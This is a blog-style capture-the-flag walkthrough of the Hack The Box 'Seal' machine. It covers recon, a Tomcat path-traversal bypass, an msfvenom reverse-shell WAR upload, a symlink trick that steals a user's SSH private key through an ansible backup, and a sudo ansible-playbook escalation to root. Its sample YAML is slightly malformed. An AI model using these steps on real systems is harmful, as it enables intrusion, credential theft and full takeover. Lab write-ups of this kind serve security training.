Hey dudes and dudettes. In this post we'll be walking through the Seal Box. This box is rated as medium.
## RECON ##
Let's start with a quick nmap and see what ports and services are open.
____________________________________________________________________________________
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1FohcrXkoPYUOtmzAh5PlCU2H0+sFcGl6XXS6vX2lLJ3RD2Vd+KlcYtc2wQLjcYJhkFe793jmkogOSh0uI+fKQA9z1Ib3J0vtsIaNkXxvSMPcr54QxXgg1guaM1OQl43ePUADXnB6WqAg8QyF6Nxoa18vboOAu3a8Wn9Qf9iCpoU93d5zQj+FsBKVaDs3zuJkUBRfjsqq7rEMpxqCfkFIeUrJF9MBsQhgsEVUbo1zicWG32m49PgDbKr9yE3lPsV9K4b9ugNQ3zwWW5a1OpOs+r3AxFcu2q65N2znV3/p41ul9+fWXo9pm0jJPJ3V5gZphDkXVZEw16K2hcgQcQJUH7luaVTRpzqDxXaiK/8wChtMXEUjFQKL6snEskkRxCg+uLO6HjI19dJ7sTBUkjdMK58TM5RmK8EO1VvbCAAdlMs8G064pSFKxY/iQjp7VWuaqBUetpplESpIe6Bz+tOyTJ8ZyhkJimFG80iHoKWYI2TOa5FdlXod1NvTIkCLD2U=
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD+SiHX7ZTaXWFgBUKSVlFmMYtqF7Ihjfdc51aEdxFdB3xnRWVYSJd2JhOX1k/9V62eZMhR/4Lc8pJWQJHdSA/c=
| 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXLlJgua8pjAw5NcWgGDwXoASfUOqUlpeQxd66seKyT
443/tcp open ssl/http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK/localityName=Hackney/organizationalUnitName=Infra/emailAddress=admin@seal.htb
| Issuer: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK/localityName=hackney/organizationalUnitName=Infra/emailAddress=admin@seal.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-05-05T10:24:03
| Not valid after: 2022-05-05T10:24:03
| MD5: 9c4f 991a bb97 192c df5a c513 057d 4d21
| SHA-1: 0de4 6873 0ab7 3f90 c317 0f7b 872f 155b 305e 54ef
| -----BEGIN CERTIFICATE-----
| MIIDiDCCAnACAWQwDQYJKoZIhvcNAQELBQAwgYkxCzAJBgNVBAYTAlVLMQ8wDQYD
| VQQIDAZMb25kb24xEDAOBgNVBAcMB2hhY2tuZXkxFTATBgNVBAoMDFNlYWwgUHZ0
| IEx0ZDEOMAwGA1UECwwFSW5mcmExETAPBgNVBAMMCHNlYWwuaHRiMR0wGwYJKoZI
| hvcNAQkBFg5hZG1pbkBzZWFsLmh0YjAeFw0yMTA1MDUxMDI0MDNaFw0yMjA1MDUx
| MDI0MDNaMIGJMQswCQYDVQQGEwJVSzEPMA0GA1UECAwGTG9uZG9uMRAwDgYDVQQH
| DAdIYWNrbmV5MRUwEwYDVQQKDAxTZWFsIFB2dCBMdGQxDjAMBgNVBAsMBUluZnJh
| MREwDwYDVQQDDAhzZWFsLmh0YjEdMBsGCSqGSIb3DQEJARYOYWRtaW5Ac2VhbC5o
| dGIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDafbynnscdjWeuXTrD
| M36rTJ0y2pJpDDFe9ngryz/xw1KsoPfEDrDE0XHc8LVlD9cxXd/8+0feeV34d63s
| YyZ0t5tHlAKw1h9TEa/og1yR1MyxZRf+K/wcX+OwXYFtMHkXCZFH7TPXLKtCrMJM
| Z6GCt3f1ccrI10D+/dMo7eyQJsat/1e+6PgrTWRxImcjOCDOZ1+mlfSkvmr5TUBW
| SU3uil2Qo5Kj9YLCPisjKpVuyhHU6zZ5KuBXkudaPS0LuWQW1LTMyJzlRfoIi9J7
| E2uUQglrTKKyd3g4BhWUABbwyxoj2WBbgvVIdCGmg6l8JPRZXwdLaPZ/FbHEQ47n
| YpmtAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAJZGFznhRSEa2DTgevXl1T8uxpiG
| PPd9R0whiIv3s225ir9SWW3Hl1tVkEY75G4PJA/DxmBIHxIK1OU8kZMuJUevnSIC
| rK16b9Y5Y1JEnaQwfKCoQILMU40ED76ZIJigGqAoniGCim/mwR1F1r1g63oUttDT
| aGLrpvN6XVkqSszpxTMMHk3SqwNaKzsaPKWPGuEbj9GGntRo1ysqZfBttgUMFIzl
| 7un7bBMIn+SPFosNGBmXIU9eyR7zG+TmpGYvTgsw0ZJqZL9yQIcszJQZPV3HuLJ8
| 8srMeWYlzSS1SOWrohny4ov8jpMjWkbdnDNGRMXIUpapho1R82hyP7WEfwc=
|_-----END CERTIFICATE-----
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy syn-ack
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Thu, 22 Jul 2021 11:41:10 GMT
| Set-Cookie: JSESSIONID=node08sfzu5wdwv6616t472n08u1n75.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Thu, 22 Jul 2021 11:41:10 GMT
| Set-Cookie: JSESSIONID=node0fmn5b8h0v5wfnko0o24tdptx73.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Thu, 22 Jul 2021 11:41:10 GMT
| Set-Cookie: JSESSIONID=node0o5h574z2czf616oxv5vx38jkn74.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| Socks4:
| HTTP/1.1 400 Illegal character CNTL=0x4
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
| Socks5:
| HTTP/1.1 400 Illegal character CNTL=0x5
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
9006/tcp open tcpwrapped syn-ack
____________________________________________________________________________________
So the SSL certificate gives us the domain name seal.htb so let's add it in /etc/hosts.
____________________________________________________________________________________
sudo echo "<MACHINE IP> seal.htb" >> /etc/hosts
____________________________________________________________________________________
now that we have that let's visit some of those open ports.
### Port 443 ###
looks like some sort of market for vegetables. This page is almost static except for the search bar and contact us form so let's move on to
### Port 8080 ###
Visiting port 8080 we find a Gitbucket instance so let's register our account and then login in.
After logging in we can see two repositories by root infra and seal_market.
Looking at the repositories, the seal_market looks intresting so let's move on with that.
Reading the README.md file gives us something interesting.
____________________________________________________________________________________
Seal Market App
===============
A simple online market application which offers free shopping, avoid crowd in this pandemic situation, saves time.
## ToDo
* Remove mutual authentication for dashboard, setup registration and login features.
* Deploy updated tomcat configuration.
* Disable manager and host-manager.
____________________________________________________________________________________
So First we know that nginx is just relaying the request to backend tomcat server and secondly the configuration for this server is not the newest as shown in the repos so we can search through commits as the older configuration might be vulnerable.
And Lastly we know that we have access to manager and host-manager from the https://seal.htb/ so let's try that.
Well we should have access to it as said in the README then I thought maybe we have access to some other endpoint in manager.
So let's fuzz and see we know that it is tomcat so it's better to use specialized wordlist for that.
I am using one from the seclist which you can find at the below link.
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/tomcat.txt
### Content Discovery ###
ffuf -k -u https://seal.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/tomcat.txt -t 200 -c
____________________________________________________________________________________
examples/../manager/html [Status: 403, Size: 162, Words: 4, Lines: 8]
examples/%2e%2e/manager/html [Status: 403, Size: 162, Words: 4, Lines: 8]
manager/jmxproxy/* [Status: 401, Size: 2499, Words: 457, Lines: 64]
manager/status.xsd [Status: 200, Size: 4374, Words: 749, Lines: 85]
host-manager/html/* [Status: 403, Size: 162, Words: 4, Lines: 8]
manager/html [Status: 403, Size: 162, Words: 4, Lines: 8]
manager/html/* [Status: 403, Size: 162, Words: 4, Lines: 8]
manager/jmxproxy [Status: 401, Size: 2499, Words: 457, Lines: 64]
manager [Status: 302, Size: 0, Words: 1, Lines: 1]
manager/status/* [Status: 401, Size: 2499, Words: 457, Lines: 64]
host-manager [Status: 302, Size: 0, Words: 1, Lines: 1]
:: Progress: [90/90] :: Job [1/1] :: 113 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
____________________________________________________________________________________
Looks like we can access https://seal.htb/manager/status.xsd
and also we have have https://seal.htb/manager/jmxproxy
and yeah it's asked from creds so let's go on finding those in some previous commit as we know that it is using old tomcat configuration from the README.md file.
Looking through commits on this repo we have 13 commit which wouldn't be much to look through.
http://seal.htb:8080/root/seal_market/commits/master
The commit commit looks intresting in our context which is adding 'adding tomcat configuration' and 'updating tomcat configuration' as we know that updating configuration is probably the current version let's check 'adding tomcat configuration' first.
http://seal.htb:8080/root/seal_market/commit/ac210325afd2f6ae17cce84a8aa42805ce5fd010
we can see the famous Git Diff view so let's hunt for creds in that.
searching for password using the ctrl+f on the webpage I found this instance of it in tomcat-users.xml
Now we have username and password let's try to login on https://seal.htb/manager/jmxproxy
And boom we are in the manager panel.
Looking for exploit for tomcat I found an intresting path traversal exploit in tomcat which uses reverse proxy which is the case here as nginx is used as reverse proxy for tomcat running on localhost.
You can find the link here -->
HERESo from above article we can try directory path traversal to exploit and access forbidden page.
____________________________________________________________________________________
## Exploitation ##
Follow along with these steps:
- Browse to https://seal.htb/manager/status/..;/html to access the manager panel
- create a war file to upload by running:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o styx.war - Start up burp if you havent already
- Upload your war file in the manager panel.
- Intercept the request.
- change the path from /manager/html/upload to /manager/jmxproxy/..;/html/upload ( see pics below)
- Now set up a listener on the port you set the payload to connect back to.
- Deploy the war file you uploaded
- Receive the shell!
Now that we have an initial foothold lets's move on
____________________________________________________________________________________
## Local Enumeration ##
Now that we are on the machine we start enumerating the machine.
let's start by looking at the user's home directory
____________________________________________________________________________________
ls -al /home/luis
total 51320
drwxr-xr-x 9 luis luis 4096 May 7 07:01 .
drwxr-xr-x 3 root root 4096 May 5 12:52 ..
drwxrwxr-x 3 luis luis 4096 May 7 06:00 .ansible
lrwxrwxrwx 1 luis luis 9 May 5 12:57 .bash_history -> /dev/null
-rw-r--r-- 1 luis luis 220 May 5 12:52 .bash_logout
-rw-r--r-- 1 luis luis 3797 May 5 12:52 .bashrc
drwxr-xr-x 3 luis luis 4096 May 7 07:00 .cache
drwxrwxr-x 3 luis luis 4096 May 5 13:45 .config
drwxrwxr-x 6 luis luis 4096 Jul 10 19:18 .gitbucket
-rw-r--r-- 1 luis luis 52497951 Jan 14 02:51 gitbucket.war
drwxrwxr-x 3 luis luis 4096 May 5 13:41 .java
drwxrwxr-x 3 luis luis 4096 May 5 14:33 .local
-rw-r--r-- 1 luis luis 807 May 5 12:52 .profile
drwx------ 2 luis luis 4096 May 7 06:10 .ssh
-r-------- 1 luis luis 33 Jul 10 19:18 user.txt
____________________________________________________________________________________
looking at the process running this thing caught my eye as there was .ansible directory in luis home directory and there a process running as luis probably a backup service.
Let's look at that run.yml file
____________________________________________________________________________________
cat /opt/backups/playbook/run.yml
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
____________________________________________________________________________________
The intresting part in this thing is that it also copies the symblink also as it has copy_links=yes. so this hinted towards creating a symlinks of files or folders.
looking at the permission of the folder we have only read only access to it.
____________________________________________________________________________________
ls -al /var/lib/tomcat9/webapps/ROOT/admin/dashboard
total 100
drwxr-xr-x 7 root root 4096 May 7 09:26 .
drwxr-xr-x 3 root root 4096 May 6 10:48 ..
drwxr-xr-x 5 root root 4096 Mar 7 2015 bootstrap
drwxr-xr-x 2 root root 4096 Mar 7 2015 css
drwxr-xr-x 4 root root 4096 Mar 7 2015 images
-rw-r--r-- 1 root root 71744 May 6 10:42 index.html
drwxr-xr-x 4 root root 4096 Mar 7 2015 scripts
drwxrwxrwx 2 root root 4096 May 7 09:26 uploads
____________________________________________________________________________________
But if we check the subfolder we have read and write access to it so let's try on that first.
____________________________________________________________________________________
cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
____________________________________________________________________________________
Now we have to think of what to symlink so we know the user luis have .ssh directory so that might be intresting so let's try that.
## Horizontal Privilege Escalation ##
Follow these steps in order to escalate to the luis user:
- ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
- ls /opt/backups/archives/
- cp /opt/backups/archives/backup-2021-07-13-03:00:32.gz rsa.gz (time will be different)
- gzip -kd rsa.gz
- tar -xf rsa
- cd dashboard
- cd uploads
- cd .ssh
- cat id_rsa
- < TRANSFER TO YOUR LOCAL MACHINE>
- Providee the right permissions by running
chmod 600 id_rsa - ssh into the box by running
ssh -i id_rsa luis@seal.htb
# Privilege Escalation to ROOT #
Now that we have escalated to the luis user we can start our enumeration process again. But we already saw that .ansible folder and we already saw when running ps aux that the application creates a backup by running than run.yml file.
When running sudo -l we can see the following:
____________________________________________________________________________________
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
____________________________________________________________________________________
Now we can see we can run the command ansible-playbook as root.
This was more easy than the user part as it is just to create a malicious yml file and run it with sudo.
## Exploitation ##
so let's create that .yml file.
____________________________________________________________________________________
- hosts:localhost
tasks: Popping a shell
- name : styx
command : "chmod +s /bin/bash"
____________________________________________________________________________________
If you are new to ansible you can refer check the following resource to create a yml file for ansilble
Now let's root this box by running this yml file:
____________________________________________________________________________________
sudo /usr/bin/ansible-playbook styx.yml
____________________________________________________________________________________
Now Let's run that suid bit /bin/bash
____________________________________________________________________________________
/bin/bash -p
____________________________________________________________________________________
id
uid=1000(luis) gid=1000(luis) euid=0(root) egid=0(root) groups=0(root),1000(luis)
And there you go! Rooted this box. I hope you enjoyed this box as much as I did. I hope this walkthrough was helpful. See you in the next one!
Cheers,
Styx
Comments
Post a Comment